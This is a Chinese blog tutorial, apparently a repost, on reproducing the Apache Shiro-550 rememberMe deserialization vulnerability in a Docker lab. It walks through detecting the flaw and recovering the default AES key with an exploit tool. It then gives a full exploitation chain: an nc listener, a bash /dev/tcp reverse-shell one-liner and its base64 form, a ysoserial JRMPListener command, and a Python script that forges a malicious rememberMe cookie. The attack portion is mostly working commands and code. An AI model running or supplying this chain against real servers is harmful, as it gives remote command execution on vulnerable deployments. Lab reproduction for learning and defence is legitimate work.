天天看点

Shiro-550反序列化漏洞复现及漏洞利用复现总结

Shiro-550反序列化漏洞复现及漏洞利用复现总结

    • 前言
    • 什么是序列化?
    • 什么是反序列化?
    • 环境搭建
      • 环境说明
      • 判断是否存在Shiro反序列化漏洞
    • Shiro rememberMe反序列化漏洞(Shiro-550)复现
      • 环境说明
      • 漏洞原理
      • 漏洞特征
      • 漏洞版本
      • 复现过程
      • Shiro-550漏洞利用
        • 反弹shell
    • 参考

前言

最近参与某项工作,有很多东西都需要补充学习,本文根据一些视频教程和网页博客总结而来,很多网站都存在这反序列化漏洞,学习一下作为知识储备,通过写这篇blog也帮助我理清思路。

什么是序列化?

    面向对象语言在存储对象的时候有一个很难存储的问题,就考虑将对象转换成字符串进行持久化存储,可以方便网络传输。即一个对象序列化,转化成字符串,然后传输给别人,再反序列化回来,即可做到网络传输。

什么是反序列化?

    与序列化相反,反序列化就是将字符串转换成对象的过程。

环境搭建

环境说明

  • kali:Linux kali 5.10.0-kali3-amd64

判断是否存在Shiro反序列化漏洞

  1. 在命令行中输入:

    apt-get install docker

    (如果此处出现无法定位软件包的问题,可以使用命令

    apt-get update

    更新一下)
    Shiro-550反序列化漏洞复现及漏洞利用复现总结
  2. 输入

    apt-get install docker-compose

    Shiro-550反序列化漏洞复现及漏洞利用复现总结
  3. 安装好后,使用

    reboot

    命令重启一下
  4. 启动服务:

    service docker start

    (这里的服务每次开机都需要重新启动一下)

    使用命令后,会出现一个会话框,输入kali当前用户的密码即可。

    Shiro-550反序列化漏洞复现及漏洞利用复现总结
  5. 输入命令下载shiro:

    docker pull medicean/vulapps:s_shiro_1

    (这个应该要在root下进行,或者普通用户sudo一下)
    Shiro-550反序列化漏洞复现及漏洞利用复现总结
  6. 开启shiro:

    docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

    Shiro-550反序列化漏洞复现及漏洞利用复现总结
  7. 开启后,在kali自带的火狐浏览器中输入

    localhost

    或者

    本机的ip地址

    即可:
    Shiro-550反序列化漏洞复现及漏洞利用复现总结
  8. 点击

    Log in

    ,任意输入账号和密码,勾选

    remember me

    。(此时打开火狐的代理,在扩展组件中添加,并设置ip和端口与Burp中对应,此处我是127.0.0.1和8080)
    Shiro-550反序列化漏洞复现及漏洞利用复现总结
  9. 打开kali中的抓包工具,此处使用Burp Suite,开启抓包:
    Shiro-550反序列化漏洞复现及漏洞利用复现总结
  10. 回到网页,点击

    Login

    ,再次回到Burp Suite,Burp已经抓到包,鼠标右键—选择

    send to Repeater

    发送给重发器—点击工具栏上的

    Repeater

    :
    Shiro-550反序列化漏洞复现及漏洞利用复现总结
  11. 进入重发器

    Repeater

    之后,点击转发

    send

    ,可以看到返回的包中含有字段

    remenberMe=deleteMe

    ,说明存在Shiro反序列化漏洞:
    Shiro-550反序列化漏洞复现及漏洞利用复现总结

Shiro rememberMe反序列化漏洞(Shiro-550)复现

环境说明

  • python 2.7
  • kali Linux

漏洞原理

Apache Shiro框架提供了记住密码的功能(Remember Me),目前这个功能在很多网站上都存在,用户在登录一个网站的时候,登录的信息会被序列化、加密并编码,在请求服务的时候,服务端会对Remember Me中存的cookie值,先解码和解密,然后再反序列化,这里就存在着反序列化RCE漏洞。

漏洞特征

  • 使用抓包工具截取的时候,返回包中包含rememberMe=deleteMe字段

漏洞版本

  • Apache Shiro < 1.2.4

复现过程

  1. 在github上下载exp工具(github上有很多这样的工具,可以根据自己的需求进行下载):

    github下载地址:https://github.com/insightglacier/Shiro_exploit

    网盘下载地址:https://pan.baidu.com/s/1i–OYUMKD20V7B8fW028Og(提取码:36yr)

    下载之后是一个zip文件:

    Shiro-550反序列化漏洞复现及漏洞利用复现总结
  2. 下载完毕之后,复制到kali中,使用命令

    unzip -o 文件名

    进行解压,解压之后,继续在终端中输入命令

    pip install pycrypto

    安装相关的包(此处可能需要先执行命令安装pip)
  3. 执行命令:

    python shiro_exploit.py -u http://192.168.14.128:80

    (后面地址为

    本机ip地址:开启Shiro步骤的端口一致

    Shiro-550反序列化漏洞复现及漏洞利用复现总结
    4. 此时获取到了一个Shiro Key:kPH+bIxk5D2deZiIxcaaaA==

Shiro-550漏洞利用

反弹shell

    可以利用反弹得到的Shiro Key进行shell的反弹,反弹的原理可以看一下我之前的blog,有一些关于反弹shell的复现,如果只想看懂下文,看这一篇即可:https://blog.csdn.net/weixin_44283446/article/details/115133751?spm=1001.2014.3001.5501

  1. 在监听方开启监听(端口可以变化):

    nc -nlvp 1231

    Shiro-550反序列化漏洞复现及漏洞利用复现总结
  2. 在被监听方执行命令:

    bash -i >& /dev/tcp/监听方的ip地址/1231 0>&1

    (这个地方端口的设置和监听方要一致)

    Java Runtime 提供了在线编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html,将

    bash -i >& /dev/tcp/监听方的ip地址/1231 0>&1

    输入进去,就可以得到匹配Bash的编码,在被监听方执行这个

    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0LjEyOC8xMjMxIDA+JjE=}|{base64,-d}|{bash,-i}

    Shiro-550反序列化漏洞复现及漏洞利用复现总结
  3. 使用

    ysoserial.jar

    文件中JRMP监听模块,监听6666端口并执行反弹shell命令

    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'

    ,其中

    ysoserial.jar

    在github上下载下来的

    Shiro_Exploit-master

    包中带有:
    Shiro-550反序列化漏洞复现及漏洞利用复现总结
  4. 新建一个

    Shiro.py

    文件,输入以下代码:
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    # 此处使用前面拿到的Shiro Key
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
print "rememberMe={0}".format(payload.decode())
           

使用命令

python shiro.py 被监听方ip地址:6666

执行

Shiro.py

生成payload:

Shiro-550反序列化漏洞复现及漏洞利用复现总结
  1. 利用得到的rememberMe的值去构造数据包,生成cookie,发送payload。回到Buip Suite,在抓到的包中添加remenberMe的值,添加完毕后点击

    forword

    Shiro-550反序列化漏洞复现及漏洞利用复现总结
  2. 点击

    forword

    后,回到kali,拿到反弹shell:
    Shiro-550反序列化漏洞复现及漏洞利用复现总结

参考

https://cloud.tencent.com/developer/article/1657019

https://www.cnblogs.com/xiaozi/p/13239046.html

https://xz.aliyun.com/t/8445

继续阅读